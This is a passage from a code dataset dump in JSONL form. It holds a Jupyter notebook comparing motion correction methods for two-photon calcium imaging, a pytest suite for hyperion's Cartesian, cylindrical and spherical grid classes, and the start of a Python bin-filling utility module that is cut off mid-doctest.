"max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "poi_id.py", "max_issues_repo_name": "praxitelisk/NDDA-P5-Identify-Fraud-From_Enron-Email", "max_issues_repo_head_hexsha": "85fc6c990b061c7335809450678329aebb8e79e8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "poi_id.py", "max_forks_repo_name": "praxitelisk/NDDA-P5-Identify-Fraud-From_Enron-Email", "max_forks_repo_head_hexsha": "85fc6c990b061c7335809450678329aebb8e79e8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.015625, "max_line_length": 105, "alphanum_fraction": 0.748458693, "include": true, "reason": "import numpy", "num_tokens": 1163, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45326184801538616, "lm_q2_score": 0.12085322457439823, "lm_q1q2_score": 0.05477815590921022}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Code to evaluate and compare 2p imaging motion correction\n# \n# author: Zhe Charles Zhou (UW NAPE Center)\n# \n# Loads in raw and motion corrected data then computes:\n# \n# - mean images and zoomed mean image\n# - displacement across frames\n# - correlation to mean (CM) metric for all datasets\n# - Crispness metric\n# \n# CM and crispness metric based on methods described in: \n# \n# Pnevmatikakis EA, Giovannucci A. NoRMCorre: An online algorithm for piecewise rigid motion correction of calcium imaging data. J Neurosci Methods. 2017;291:83\u201394. doi:10.1016/j.jneumeth.2017.07.031\n# \n# pre-req input data:\n# \n# - raw imaging data in form of h5 or tiff (residing in root folder)\n# - motion corrected data (from SIMA, suite2p, and caiman) in form of h5 or tiff (residing in root folder)\n# - processed displacement file (from each analysis package) (residing in root folder\\displacements\\ )\n\n# In[1]:\n\n\nimport tifffile as tiff\nimport h5py\nimport os\nimport cv2 as cv\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\n\nfrom collections import defaultdict\n\n\n# In[23]:\n\n\n# User needs to define the root folder and base file name here\n\n#root_filename = 'VJ_OFCVTA_7_260_D6'\n#root_filename = 'itp_lhganiii_bl3_935'\nroot_filename = '091618 155a day 2 tiffs'\n\n#folder = 'C:\\\\2pData\\\\Vijay data\\\\VJ_OFCVTA_7_D8_trained\\\\'\n#folder = 'C:\\\\2pData\\\\Ivan\\\\itp_lhganiii_bl3_678\\\\'\nfolder = 'C:\\\\2pData\\\\Christian data\\\\Same FOV\\\\Individual Trials\\\\091618 155a day 2 tiffs\\\\processed\\\\'\n\nfps = 5 # USER DEFINE\n\n\n# In[3]:\n\n\n# make a dict with entries for each data/motion-correction type\n\ndat_type_names = ['raw','sima','suite2p','caiman']\ndat_ext = ['','_sima_mc','_suite2p_mc','_fullcaiman_mc']\n\ntree = lambda: defaultdict(tree) # dictionary: unordered, multi-layered variable storage\ndat_dict = tree()\n\nfor dat_type, file_ext in zip(dat_type_names, dat_ext): \n    dat_dict[dat_type]['dir'] = os.path.join( folder, '{}{}.h5'.format(root_filename,file_ext) )\n\ndat_dict\n\n\n# In[4]:\n\n\n# add and process displacements \n# need to run for sima: /Python/Charles/Vijay_Pipeline.ipynb\n# for suite2p: /Python/Charles/suite2p_save_projections&displacements.ipynb\n# for caiman: /Documents/GitHub/CaImAn/demos/notebooks/caiman_mc_singleBlock.ipynb\n\nfor dat_type in dat_type_names[1:]:\n\n    disp_fpath = '{}displacements\\\\displacements_{}.npy'.format(folder, dat_type)\n    displacement = np.load(disp_fpath)\n    tvec = np.linspace(0,len(displacement)/fps,len(displacement))\n    plt.plot(tvec,displacement, alpha=0.5)\n\nplt.xlabel('Time [s]',fontsize = 20)\nplt.ylabel('Displacement [pixels]',fontsize = 20)\nplt.legend(dat_type_names[1:]);\n\n\n# In[5]:\n\n\n# function to load tiff data and get data shape\ndef read_shape_tiff(data_path):\n    \n    data = tiff.imread(data_path).astype('int16')\n    data_shape = data.shape\n\n    return data, data_shape\n\ndef read_shape_h5(data_path):\n    \n    # open h5 to read, find data key, grab data, then close\n    h5 = h5py.File(data_path,'r')\n    data = np.squeeze(np.array( h5[h5.keys()[0]] )).astype('int16') # np.array loads all data into memory\n    h5.close()\n    \n    data_shape = data.shape\n    \n    return data, data_shape\n\n\n# In[6]:\n\n\n# loop through keys of dictionary, and load video data\nfor key in dat_dict:\n\n    dat_dict[key]['raw_dat'], dat_dict[key]['dat_dim'] = read_shape_h5(dat_dict[key]['dir'])\n    \n    # needed b/c suite2p divides intensity values by 2\n    if key == 'suite2p':\n        dat_dict[key]['raw_dat'] = dat_dict[key]['raw_dat'] * 2\n    \n    print(\"{} {}\".format(key, dat_dict[key]['dat_dim']))\n\n\n# In[24]:\n\n\n\"\"\" calculate minimum and max FOVs after motion correction to crop all data to similar dimensions (to facilitate correlation)\n some algorithms crop b/c may be some edge pixels that contain little information due to shifting out of view\n# use list comprehension to extract corresponding dimension from each key in the dict \"\"\"\n\n# FIRST List comprehension\nmin_ypix = np.min([dat_dict[key]['dat_dim'][1] for key in dat_dict])\nmin_xpix = np.min([dat_dict[key]['dat_dim'][2] for key in dat_dict])\n\n\n# # Plot mean images for each analysis dataset\n\n# In[25]:\n\n\n# function to crop frames equally on each side; measure out from the center\ndef crop_center(img,cropx,cropy):\n    z,y,x = img.shape\n    startx = x//2-(cropx//2) # // is floor division\n    starty = y//2-(cropy//2)    \n    return img[:,starty:starty+cropy,startx:startx+cropx]\n\n\n# In[26]:\n\n\n\"\"\" use function to crop videos; important for easier aligned comparison of mean imgs, \nbut also removing suite2p edge artifacts \"\"\"\n\nfor key in dat_dict: \n    \n    # crop data\n    dat_dict[key]['raw_dat'] = crop_center(dat_dict[key]['raw_dat'],min_xpix,min_ypix)\n\n    # compute mean image    \n    dat_dict[key]['mean_img'] = np.mean(dat_dict[key]['raw_dat'], axis=0)\n\n\n# In[27]:\n\n\n# set color intensity limits based on min and max of all data\nclims = [ np.min([dat_dict[key]['mean_img'] for key in dat_dict]), \n        np.max([dat_dict[key]['mean_img'] for key in dat_dict])-100 ]\nclims\n\n\n# In[11]:\n\n\n# function that takes in mean image and plots \ndef subplot_mean_img(axs, data_name, mean_img, clims, zoom_window=None):\n\n    im = axs.imshow(mean_img, cmap='gray')\n    axs.set_title(data_name, fontsize = 20)\n    \n    im.set_clim(vmin=clims[0], vmax=clims[1])\n    \n    if zoom_window is not None:\n        \n        axs.set_title(data_name + ' Zoom', fontsize = 20)\n        axs.axis(zoom_window)\n        axs.invert_yaxis()\n    axs.axis('off')\n\n\n# In[28]:\n\n\n# plot mean images\n\nzoom_window = [200,300,150,250] # [xmin, xmax, ymin, ymax]; LH [150,250,250,350]\n\nfig, axs = plt.subplots(2, 4, figsize=(15, 10))\n\n# FIRST ENUMERATE\n# enumerate allows for looping through iterable and provides a count\nfor idx, key in enumerate(dat_dict): \n    \n    subplot_mean_img(axs[0,idx], key, dat_dict[key]['mean_img'], clims)\n    \n    subplot_mean_img(axs[1,idx], key, dat_dict[key]['mean_img'], clims, zoom_window)\n\n\n# In[13]:\n\n\n# plot mean images\n\nfig, axs = plt.subplots(2, 4, figsize=(15, 10))\n\nim0 = axs[0,0].imshow(dat_dict['raw']['mean_img'], cmap='gray')\naxs[0,0].set_title('Raw', fontsize = 20)\n\nim1 = axs[0,1].imshow(dat_dict['sima']['mean_img'], cmap='gray')\naxs[0,1].set_title('SIMA Corrected', fontsize = 20)\n\nim2 = axs[0,2].imshow(dat_dict['suite2p']['mean_img'], cmap='gray')\naxs[0,2].set_title('Suite2p Corrected', fontsize = 20)\n\nim3 = axs[0,3].imshow(dat_dict['caiman']['mean_img'], cmap='gray')\naxs[0,3].set_title('Caiman Corrected', fontsize = 20)\n\nim0.set_clim(vmin=clims[0], vmax=clims[1]); im1.set_clim(vmin=clims[0], vmax=clims[1]); \nim2.set_clim(vmin=clims[0], vmax=clims[1]); im3.set_clim(vmin=clims[0], vmax=clims[1])\n\nim3 = axs[1,0].imshow(dat_dict['raw']['mean_img'], cmap='gray')\naxs[1,0].set_title('Raw Zoom', fontsize = 20)\naxs[1,0].axis(zoom_window)\naxs[1,0].invert_yaxis()\n\nim4 = axs[1,1].imshow(dat_dict['sima']['mean_img'], cmap='gray')\naxs[1,1].set_title('SIMA Zoom', fontsize = 20)\naxs[1,1].axis(zoom_window)\naxs[1,1].invert_yaxis()\n\nim5 = axs[1,2].imshow(dat_dict['suite2p']['mean_img'], cmap='gray')\naxs[1,2].set_title('Suite2p Zoom', fontsize = 20)\naxs[1,2].axis(zoom_window)\naxs[1,2].invert_yaxis()\n\nim6 = axs[1,3].imshow(dat_dict['caiman']['mean_img'], cmap='gray')\naxs[1,3].set_title('Caiman Zoom', fontsize = 20)\naxs[1,3].axis(zoom_window)\naxs[1,3].invert_yaxis()\n\nim3.set_clim(vmin=clims[0], vmax=clims[1]); im4.set_clim(vmin=clims[0], vmax=clims[1]); \nim5.set_clim(vmin=clims[0], vmax=clims[1]); im6.set_clim(vmin=clims[0], vmax=clims[1])\n\n\n# # Compute Frame-by-frame correlation to the mean image\n\n# In[14]:\n\n\n# function to compute frame-resolved correlation to reference mean image\ndef corr2_all_frames(data,ref):\n    cor_all = np.empty([data.shape[0],])\n    \n    for iframe,frame in enumerate(data):\n        print 'frame {0}\\r'.format(iframe),\n        # pearson corr used in NoRMCorre paper\n        cor_all[iframe] = np.corrcoef(np.ndarray.flatten(frame), np.ndarray.flatten(ref))[0,1] # \n        \n    return cor_all\n\n\n# In[15]:\n\n\nfor key in dat_dict: \n    \n    print('Corr {} Data'.format(key))\n    \n    # we'll correlate each frame within a dataset to the mean image of that dataset\n    dat_dict[key]['frame_corr'] = corr2_all_frames(dat_dict[key]['raw_dat'],dat_dict[key]['mean_img'])\n\n\n# In[16]:\n\n\n# plot correlation as function of time \nfig, ax = plt.subplots(1, 1, figsize=(10,5), sharey=True)\n\nnum_samples = dat_dict['raw']['dat_dim'][0]\ntvec = np.linspace(0,num_samples/fps,num_samples)\n\nfor key in dat_dict: \n\n    plt.plot(tvec,dat_dict[key]['frame_corr'], alpha = 0.7)\n\nplt.xlabel('Time [s]', fontsize=20)\nplt.ylabel('Pearson Correlation', fontsize=20)\nplt.legend(dat_type_names);\n\n\n# In[17]:\n\n\n# calculate correlation means for bar graph\ncorr_means = [ np.mean(dat_dict[key]['frame_corr']) for key in dat_dict ]\ndisplay(corr_means)\n\n# calculate SEMs\ncorr_sems = [np.std(dat_dict[key]['frame_corr'])/math.sqrt(len(dat_dict[key]['frame_corr']))\n             for key in dat_dict]\n\ndisplay(corr_sems)\n\n\n# In[18]:\n\n\nx_pos = np.arange(len(dat_type_names)) # find x tick locations for replacement with condition names\n\nfig, ax = plt.subplots()\nax.bar(x_pos, corr_means, yerr=corr_sems, align='center', alpha=0.5, ecolor='black', capsize=10)\nax.set_ylim([ np.min(corr_means)-0.01, np.max(corr_means)+0.01 ])\nax.set_xticks(x_pos)\nax.set_xticklabels(dat_type_names, fontsize = 20)\nax.set_ylabel('Pearson Correlation', fontsize = 20);\n\n\n# # Calculate Crispness\n# \n# https://www.sciencedirect.com/science/article/pii/S0165027017302753#tbl0005\n# \n# \\begin{equation*}\n# C(I)   = \\lVert \\lvert  \\nabla I \\rvert \\rVert_F\n# \\end{equation*}\n# \n# where\n# \n# \\begin{equation*} C(I) \\end{equation*}\n# \n# is the crispness value for image I\n# \n# \\begin{equation*} \\nabla I \\end{equation*}\n# \n# is the gradient of image I (np.gradient gives x and y directions for each pixel's vector)\n# \n# \\begin{equation*} \\lvert \\rvert_F \\end{equation*}\n# \n# is the pixel-wise magnitude\n# \n# \\begin{equation*} \\lVert \\rVert_F \\end{equation*}\n# \n# is the frobenius norm (formally square root of the absolute sum of squares across matrix elements , but can be thought of as a way to summarize the magnitudes across pixels)\n# \n# \n# \n# \n\n# In[19]:\n\n\n# calculate gradient vector field; https://stackoverflow.com/questions/30079740/image-gradient-vector-field-in-python\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom PIL import ImageFilter\n\nzoom_window = [150,250,200,300]\n\nI = np.flipud(dat_dict['suite2p']['mean_img'])\np = np.asarray(I)\nw,h = I.shape\ncomplex_y = complex(0,w)\ncomplex_x = complex(0,h)\ny, x = np.mgrid[0:h:complex_y, 0:w:complex_x] # CZ: end dimensions need to match input; \n# complex b/c gradient output has vector angle and amplitude info\n\ndy, dx = np.gradient(p) # for each pixel, calculate gradient vectors (dir and mag of largest change in pixel intensity)\nskip = (slice(None, None, 3), slice(None, None, 3)) # skip a few pixels for better visualization\n\nfig, ax = plt.subplots(figsize=(12, 12))\nim = ax.imshow(np.flipud(I), extent=[x.min(), x.max(), y.min(), y.max()]) # show original img\nax.quiver(x[skip], y[skip], dx[skip], dy[skip]) # plot vectors\n\nax.set(aspect=1, title='Quiver Plot')\nax.set_title('Quiver Plot', fontsize = 30)\nax.axis(zoom_window)\nplt.axis('off')\nplt.show()\n\n\n# In[20]:\n\n\n# calculate entry(pixel)-wise magnitude\n\ndef calc_all_vect_mag(dy,dx):\n    \n    # initialize pixel-wise mag array\n    h_pix = dy.shape[0]\n    w_pix = dy.shape[1]\n    all_vect_mag = np.empty( [h_pix,w_pix] )\n    \n    # np.gradient gives x/y vector components; need to calculate composite magnitude for each pixel\n    # np.ndenumerate returns 2d index for each entry\n    for index, x in np.ndenumerate(dy):\n    \n        ycoord = index[0] \n        xcoord = index[1]\n        \n        all_vect_mag[ycoord,xcoord] = (dx[ycoord,xcoord] ** 2 + dy[ycoord,xcoord] ** 2) ** 0.5\n    \n    return all_vect_mag\n\n\n# In[21]:\n\n\nfor key in dat_dict: \n    \n    # first calculate gradient (vector for each pixel)\n    img_in = np.asarray(np.flipud(dat_dict[key]['mean_img']))\n    dy, dx = np.gradient(img_in)\n\n    dat_dict[key]['grad_mag'] = calc_all_vect_mag(dy,dx)\n\n\n# In[22]:\n\n\n# calculate Frobenius norm \nprint 'raw Crispness: ' , np.linalg.norm(dat_dict['raw']['grad_mag'], ord = 'fro')\nprint 'sima Crispness: ' , np.linalg.norm(dat_dict['sima']['grad_mag'], ord = 'fro')\nprint 'suite2p Crispness: ' , np.linalg.norm(dat_dict['suite2p']['grad_mag'], ord = 'fro')\nprint 'caiman Crispness: ' , np.linalg.norm(dat_dict['caiman']['grad_mag'], ord = 'fro')\n\n\n# # Calculate Optical Flow\n\n# In[ ]:\n\n\nimport cv2\nimport logging\n\n\n# In[ ]:\n\n\npyr_scale=.5\nlevels=3\nwinsize=100\niterations=15\npoly_n=5\npoly_sigma=1.2 / 5\nflags=0\nplay_flow=False\nresize_fact_flow=.2\ntemplate=None\n\n\n# In[ ]:\n\n\nkey = 'suite2p'\ntmpl = dat_dict[key]['mean_img']\n\n\n# In[ ]:\n\n\nnorms = []\nflows = []\ncount = 0\n\nfor fr in dat_dict[key]['raw_dat']:\n    if count % 100 == 0:\n        logging.debug(count)\n\n    count += 1\n    flow = cv2.calcOpticalFlowFarneback(\n        tmpl, fr, None, pyr_scale, levels, winsize, iterations, poly_n, poly_sigma, flags)\n\n    if play_flow:\n        pl.subplot(1, 3, 1)\n        pl.cla()\n        pl.imshow(fr, vmin=0, vmax=300, cmap='gray')\n        pl.title('movie')\n        pl.subplot(1, 3, 3)\n        pl.cla()\n        pl.imshow(flow[:, :, 1], vmin=vmin, vmax=vmax)\n        pl.title('y_flow')\n\n        pl.subplot(1, 3, 2)\n        pl.cla()\n        pl.imshow(flow[:, :, 0], vmin=vmin, vmax=vmax)\n        pl.title('x_flow')\n        pl.pause(.05)\n\n    n = np.linalg.norm(flow)\n    flows.append(flow)\n    norms.append(n)\n\n\n# In[ ]:\n\n\nplt.plot(norms)\n\n\n# # Perform KLT Tracking with OpenCV\n# \n# Based on: https://docs.opencv.org/3.4/d4/dee/tutorial_optical_flow.html\n# \n# Also informative: https://stackoverflow.com/questions/18863560/how-does-klt-work-in-opencv\n# \n# https://www.learnopencv.com/object-tracking-using-opencv-cpp-python/\n\n# In[ ]:\n\n\n# grab reference frame\nref_frame = raw_dat[0,:,:]\nthis_frame = raw_dat[100,:,:]\n\n\n# In[ ]:\n\n\n# params for ShiTomasi corner detection\nfeature_params = dict( maxCorners = 10,\n                       qualityLevel = 0.3,\n                       minDistance = 7,\n                       blockSize = 7 )\n# Parameters for lucas kanade optical flow\nlk_params = dict( winSize  = (15,15),\n                  maxLevel = 2,\n                  criteria = (cv.TERM_CRITERIA_EPS | cv.TERM_CRITERIA_COUNT, 10, 0.03))\n\n\n# In[ ]:\n\n\np0 = cv.goodFeaturesToTrack(ref_frame, mask = None, **feature_params)\np0.shape\n\n\n# In[ ]:\n\n\n# Create some random colors\ncolor = np.random.randint(0,255,(100,3))\n# Create a mask image for drawing purposes\nmask = np.zeros_like(ref_frame)\nframe_idx = 1\n\nwhile(1):\n    \n    this_frame = raw_dat[frame_idx,:,:]\n    \n    # calculate optical flow\n    p1, st, err = cv.calcOpticalFlowPyrLK(ref_frame, this_frame, p0, None, **lk_params)\n    \n    # Select good points\n    good_new = p1[st==1]\n    good_old = p0[st==1]\n    \n    # draw the tracks\n    for i,(new,old) in enumerate(zip(good_new, good_old)):\n        a,b = new.ravel()\n        c,d = old.ravel()\n        mask = cv.line(mask, (a,b),(c,d), color[i].tolist(), 2)\n        frame = cv.circle(this_frame,(a,b),5,color[i].tolist(),-1)\n    img = cv.add(this_frame,mask)\n    cv.imshow('frame',img)\n    k = cv.waitKey(30) & 0xff\n    if k == 27 or frame_idx == raw_dat_dim[0]-1:\n        break\n    # Now update the previous frame and previous points\n    old_gray = this_frame.copy()\n    p0 = good_new.reshape(-1,1,2)\n    \n    frame_idx += 1\n\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "c80123f3447712a1ccf7bc5ef099a1badcefdefc", "size": 15472, "ext": "py", "lang": "Python", "max_stars_repo_path": "in_development/compare_motionCorr.py", "max_stars_repo_name": "Alex-de-Lecea/NAPE_imaging_analysis", "max_stars_repo_head_hexsha": "c82ba7c98477a37b057b9b0a7b59994d42560ecf", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2022-01-11T20:10:37.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-11T20:11:01.000Z", "max_issues_repo_path": "in_development/compare_motionCorr.py", "max_issues_repo_name": "Alex-de-Lecea/NAPE_imaging_analysis", "max_issues_repo_head_hexsha": "c82ba7c98477a37b057b9b0a7b59994d42560ecf", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 9, "max_issues_repo_issues_event_min_datetime": "2020-10-06T23:59:29.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-12T00:18:52.000Z", "max_forks_repo_path": "in_development/compare_motionCorr.py", "max_forks_repo_name": "Alex-de-Lecea/NAPE_imaging_analysis", "max_forks_repo_head_hexsha": "c82ba7c98477a37b057b9b0a7b59994d42560ecf", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 7, "max_forks_repo_forks_event_min_datetime": "2020-03-19T18:39:13.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-28T22:42:09.000Z", "avg_line_length": 25.9162479062, "max_line_length": 199, "alphanum_fraction": 0.6735392968, "include": true, "reason": "import numpy", "num_tokens": 4646, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.11124121682013352, "lm_q1q2_score": 0.05475160712201432}}
{"text": "from __future__ import print_function, division\n\nimport pytest\nimport numpy as np\n\nfrom .. import (CartesianGrid,\n                CylindricalPolarGrid,\n                SphericalPolarGrid)\n\nGRIDS = [CartesianGrid, CylindricalPolarGrid, SphericalPolarGrid]\n\nWALL = {}\nWALL[CartesianGrid] = ['x_wall', 'y_wall', 'z_wall']\nWALL[CylindricalPolarGrid] = ['w_wall', 'z_wall', 'p_wall']\nWALL[SphericalPolarGrid] = ['r_wall', 't_wall', 'p_wall']\n\n\n@pytest.mark.parametrize(('grid'), GRIDS)\ndef test_grid_list(grid):\n    grid([0., 1.], [0., 1.], [0., 1.])\n\n\n@pytest.mark.parametrize(('grid'), GRIDS)\ndef test_grid_tuple(grid):\n    grid((0., 1.), (0., 1.), (0., 1.))\n\n\n@pytest.mark.parametrize(('grid'), GRIDS)\ndef test_grid_array(grid):\n    grid(np.array([0., 1.]),\n         np.array([0., 1.]),\n         np.array([0., 1.]))\n\n\n@pytest.mark.parametrize(('grid'), GRIDS)\ndef test_grid_mixed(grid):\n    grid([0., 1.],\n         (0., 1.),\n         np.array([0., 1.]))\n\n\n@pytest.mark.parametrize(('grid'), GRIDS)\ndef test_grid_invalid1(grid):\n    with pytest.raises(ValueError) as e:\n        grid('hello',  # invalid entry\n             (0., 1.),\n             (0., 1.))\n    assert e.value.args[0] == WALL[grid][0] + ' should be a 1-D sequence'\n\n\n@pytest.mark.parametrize(('grid'), GRIDS)\ndef test_grid_invalid2(grid):\n    with pytest.raises(ValueError) as e:\n        grid((0., 1.),\n             1.233,  # invalid entry\n             (0., 1.))\n    assert e.value.args[0] == WALL[grid][1] + ' should be a 1-D sequence'\n\n\n@pytest.mark.parametrize(('grid'), GRIDS)\ndef test_grid_invalid3(grid):\n    with pytest.raises(ValueError) as e:\n        grid((0., 1.),\n             (0., 1.),\n             set([1, 2, 3]))  # invalid entry\n    assert e.value.args[0] == WALL[grid][2] + ' should be a 1-D sequence'\n\n\n@pytest.mark.parametrize(('grid'), GRIDS)\ndef test_grid_invalid4(grid):\n    with pytest.raises(ValueError) as e:\n        grid([[0., 1.]],  # lists should be 1D\n             (0., 1.),\n             np.array([0., 1.]))\n    assert e.value.args[0] == WALL[grid][0] + ' should be a 1-D sequence'\n\n\n@pytest.mark.parametrize(('grid'), GRIDS)\ndef test_grid_invalid5(grid):\n    with pytest.raises(ValueError) as e:\n        grid([0., 1.],\n             ((0., 1.),),  # tuples should be 1D\n             np.array([0., 1.]))\n    assert e.value.args[0] == WALL[grid][1] + ' should be a 1-D sequence'\n\n\n@pytest.mark.parametrize(('grid'), GRIDS)\ndef test_grid_invalid6(grid):\n    with pytest.raises(ValueError) as e:\n        grid([0., 1.],\n             (0., 1.),\n             np.array([[0., 1.]]))  # arrays should be 1D\n    assert e.value.args[0] == WALL[grid][2] + ' should be a 1-D sequence'\n\n\n@pytest.mark.parametrize(('grid'), GRIDS)\ndef test_grid_invalid7(grid):\n    with pytest.raises(ValueError) as e:\n        grid([-1., -2., 1.],  # should be increasing\n             [0., 1.],\n             [0., 1.])\n    assert e.value.args[0] == WALL[grid][0] + ' should be monotonically increasing'\n\n\n@pytest.mark.parametrize(('grid'), GRIDS)\ndef test_grid_invalid8(grid):\n    with pytest.raises(ValueError) as e:\n        grid([0., 1.],\n             [2., -1.],  # should be increasing\n             [0., 1.])\n    assert e.value.args[0] == WALL[grid][1] + ' should be monotonically increasing'\n\n\n@pytest.mark.parametrize(('grid'), GRIDS)\ndef test_grid_invalid9(grid):\n    with pytest.raises(ValueError) as e:\n        grid([0., 1.],\n             [0., 1.],\n             [4., -1., 5.])  # should be increasing\n    assert e.value.args[0] == WALL[grid][2] + ' should be monotonically increasing'\n\n\n@pytest.mark.parametrize(('grid'), GRIDS)\ndef test_grid_dimension(grid):\n    g = grid([0., 1.], [0., 0.5, 1.], [0., 0.25, 0.75, 1.])\n    assert g.shape == (3, 2, 1)  # order is reversed\n\n\ndef test_grid_cartesian_ranges():\n    g = CartesianGrid([-10., 10.], [-10., 10.], [-10., 10.])\n\n\ndef test_grid_cylindrical_ranges():\n    g = CylindricalPolarGrid([0., 10.], [-10., 10.], [0., 2. * np.pi])\n\n\ndef test_grid_cylindrical_ranges_invalid1():\n\n    with pytest.raises(ValueError) as e:\n        CylindricalPolarGrid([-10., 10.], [-10., 10.], [-10., 10.])\n    assert e.value.args[0] == 'w_wall values should be positive'\n\n\ndef test_grid_cylindrical_ranges_invalid2():\n\n    with pytest.raises(ValueError) as e:\n        CylindricalPolarGrid([0., 10.], [-10., 10.], [-10., 10.])\n    assert e.value.args[0] == 'p_wall values should be in the range [0:2*pi]'\n\n\ndef test_grid_spherical_ranges():\n    g = SphericalPolarGrid([0., 10.], [0., np.pi], [0., 2. * np.pi])\n\n\ndef test_grid_spherical_ranges_invalid1():\n    with pytest.raises(ValueError) as e:\n        g = SphericalPolarGrid([-10., 10.], [-10., 10.], [0., 2. * np.pi])\n    assert e.value.args[0] == 'r_wall values should be positive'\n\n\ndef test_grid_spherical_ranges_invalid2():\n    with pytest.raises(ValueError) as e:\n        g = SphericalPolarGrid([0., 10.], [-10., 10.], [0., 2. * np.pi])\n    assert e.value.args[0] == 't_wall values should be in the range [0:pi]'\n\n\ndef test_grid_spherical_ranges_invalid3():\n    with pytest.raises(ValueError) as e:\n        g = SphericalPolarGrid([0., 10.], [0., np.pi], [-10., 10.])\n    assert e.value.args[0] == 'p_wall values should be in the range [0:2*pi]'\n", "meta": {"hexsha": "2d7b12b28b4b93ce5e5792c82802d67d85553a85", "size": 5193, "ext": "py", "lang": "Python", "max_stars_repo_path": "hyperion/grid/tests/test_grid.py", "max_stars_repo_name": "christopherlovell/hyperion", "max_stars_repo_head_hexsha": "f65c253abf0bdf174a9302666bc2fec57f7ae7da", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": 37, "max_stars_repo_stars_event_min_datetime": "2015-01-29T20:58:04.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-10T23:36:39.000Z", "max_issues_repo_path": "hyperion/grid/tests/test_grid.py", "max_issues_repo_name": "christopherlovell/hyperion", "max_issues_repo_head_hexsha": "f65c253abf0bdf174a9302666bc2fec57f7ae7da", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": 83, "max_issues_repo_issues_event_min_datetime": "2015-01-07T11:04:08.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-16T16:26:33.000Z", "max_forks_repo_path": "hyperion/grid/tests/test_grid.py", "max_forks_repo_name": "christopherlovell/hyperion", "max_forks_repo_head_hexsha": "f65c253abf0bdf174a9302666bc2fec57f7ae7da", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": 17, "max_forks_repo_forks_event_min_datetime": "2015-04-21T13:17:41.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-06T02:42:20.000Z", "avg_line_length": 30.3684210526, "max_line_length": 83, "alphanum_fraction": 0.5902176006, "include": true, "reason": "import numpy", "num_tokens": 1570, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.11124120798077022, "lm_q1q2_score": 0.054751602771384585}}
{"text": "\"\"\"\nUtility functions and classes for incrementally filling bins during an algorithm.\n\nAuthor: Erel Segal-Halevi\nSince:  2022-02\n\"\"\"\n\nfrom abc import ABC, abstractmethod\nimport numpy as np\nfrom typing import Any, Callable\n\n\nclass Bins(ABC):\n    \"\"\"\n    An abstract bins structure.\n    \"\"\"\n\n    @abstractmethod\n    def __init__(self, numbins: int=0):\n        self.num = numbins\n        self.valueof = lambda x:x\n        pass\n\n    def set_valueof(self, valueof:Callable):\n        self.valueof = valueof\n        return self\n\n    @abstractmethod\n    def add_item_to_bin(self, item: Any, bin_index: int, inplace=True):\n        \"\"\"\n        Add the given item, with the given value, to the bin with the given index.\n\n        If inplace is True, the method modifies the current structure and returns None.\n        If inplace is False, the method does not modify the current structure, but returns a new Bins structure.\n        \"\"\"\n        pass\n\n    @abstractmethod\n    def add_empty_bins(self, numbins: int=1):\n        \"\"\"\n        Add new empty bins.\n        \"\"\"\n        self.num += numbins\n        pass\n\n    @abstractmethod\n    def remove_bins(self, numbins: int=1):\n        \"\"\"\n        Remove bins from the end.\n        \"\"\"\n        self.num -= numbins\n        pass\n\n    @abstractmethod\n    def bin_to_str(self, bin_index: int) -> str:\n        pass\n\n    @abstractmethod\n    def sort(self):\n        \"\"\"\n        Sort the bins by ascending order of sum. For consistency and testing.\n        \"\"\"\n        return self\n\n    def __repr__(self) -> str:\n        bins_str = [f\"Bin #{i}: {self.bin_to_str(i)}\" for i in range(self.num)]\n        return \"\\n\".join(bins_str)\n\n\nclass BinsKeepingSums(Bins):\n    \"\"\"\n    A bins structure that keeps track only of the total sum in each bin.\n\n    >>> bins = BinsKeepingSums(3)\n    >>> values = {\"a\":3, \"b\":4, \"c\":5, \"d\":5, \"e\":5}\n    >>> bins.valueof = lambda x: values[x]\n    >>> bins.add_item_to_bin(item=\"a\", bin_index=0)\n    Bin #0: sum=3.0\n    Bin #1: sum=0.0\n    Bin #2: sum=0.0\n    >>> bins.add_item_to_bin(item=\"b\", bin_index=1)\n    Bin #0: sum=3.0\n    Bin #1: sum=4.0\n    Bin #2: sum=0.0\n    >>> bins.add_item_to_bin(item=\"c\", bin_index=1)\n    Bin #0: sum=3.0\n    Bin #1: sum=9.0\n    Bin #2: sum=0.0\n    >>> bins.add_item_to_bin(item=\"d\", bin_index=1, inplace=False)\n    Bin #0: sum=3.0\n    Bin #1: sum=14.0\n    Bin #2: sum=0.0\n    >>> bins.add_item_to_bin(item=\"e\", bin_index=2, inplace=False)\n    Bin #0: sum=3.0\n    Bin #1: sum=9.0\n    Bin #2: sum=5.0\n    >>> bins.num\n    3\n    >>> bins.add_empty_bins()\n    Bin #0: sum=3.0\n    Bin #1: sum=9.0\n    Bin #2: sum=0.0\n    Bin #3: sum=0.0\n    >>> bins.num\n    4\n    >>> bins.remove_bins()\n    Bin #0: sum=3.0\n    Bin #1: sum=9.0\n    Bin #2: sum=0.0\n    >>> bins.num\n    3\n    >>> bins.sort()\n    Bin #0: sum=0.0\n    Bin #1: 